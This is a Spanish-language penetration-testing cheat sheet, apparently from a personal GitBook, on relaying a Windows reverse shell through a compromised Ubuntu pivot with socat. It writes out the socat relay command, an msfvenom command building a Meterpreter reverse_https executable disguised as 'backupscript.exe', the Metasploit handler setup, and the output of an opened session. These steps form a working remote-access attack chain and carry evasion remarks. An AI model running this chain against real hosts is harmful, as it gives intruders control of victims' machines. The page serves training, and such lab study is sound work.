> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/socat-redirection-with-a-reverse-shell.md).

# Socat Redirection with a Reverse Shell

### Redirección con Socat + Reverse Shell

* **Socat** es una herramienta de relay bidireccional que crea canales de comunicación entre dos endpoints de red independientes, sin necesidad de SSH tunneling.
* Actúa como **redirector**: escucha en un host/puerto y reenvía el tráfico hacia otra IP/puerto.
* Caso de uso: el target no puede alcanzar directamente el attack host, pero sí puede alcanzar un servidor intermedio (ej. Ubuntu comprometido). Socat hace de puente.

***

#### 1. Iniciar el listener de Socat en el servidor intermedio

```bash
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
```

* `TCP4-LISTEN:8080` — escucha conexiones entrantes en el puerto 8080 del servidor Ubuntu (pivot).
* `fork` — permite manejar múltiples conexiones simultáneas sin que socat muera tras la primera.
* `TCP4:10.10.14.18:80` — reenvía todo el tráfico recibido hacia el attack host en el puerto 80.

***

#### 2. Generar el payload para Windows

```bash
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080
```

* `-p windows/x64/meterpreter/reverse_https` — payload stageless HTTPS para evasión básica.
* `LHOST=172.16.5.129` — IP del **servidor Ubuntu pivot** (no del attack host), ya que el target se conecta al redirector.
* `LPORT=8080` — puerto donde socat está escuchando en el pivot.
* `-f exe -o backupscript.exe` — formato ejecutable Windows, guardado como `backupscript.exe`.

> **Nota:** El payload debe transferirse al host Windows. Usar técnicas de transferencia de archivos apropiadas al contexto (SMB, HTTP, etc.).

**⚠️ El ejecutable generado queda en disco en el host víctima. Alta probabilidad de detección por AV/EDR sin ofuscación adicional.**

Output esperado:

```
Payload size: 743 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
```

***

#### 3. Iniciar Metasploit y configurar el multi/handler

```bash
sudo msfconsole
```

```
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 80
msf6 exploit(multi/handler) > run
```

* `lhost 0.0.0.0` — escucha en todas las interfaces del attack host.
* `lport 80` — el puerto al que socat redirige el tráfico (debe coincidir con la IP:puerto configurado en socat).
* El handler usa **HTTPS** para que el tráfico del payload se vea como tráfico web legítimo.

Output esperado al iniciar:

```
[*] Started HTTPS reverse handler on https://0.0.0.0:80
```

***

#### 4. Sesión Meterpreter establecida

Al ejecutar el payload en el host Windows, socat recibe la conexión en el pivot y la redirige al handler. Output esperado en MSF:

```
[*] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1) at 2022-03-07 11:08:10 -0500

meterpreter > getuid
Server username: INLANEFREIGHT\victor
```

> **Nota:** El aviso `Without a database connected that payload UUID tracking will not work!` es informativo, no bloquea la sesión. Iniciar `msfdb init` antes de MSFConsole si se requiere tracking de UUIDs.

***

#### Flujo completo (resumen visual)

```
Windows Target  →  Ubuntu Pivot (socat :8080)  →  Attack Host (MSF :80)
```

***


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/socat-redirection-with-a-reverse-shell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
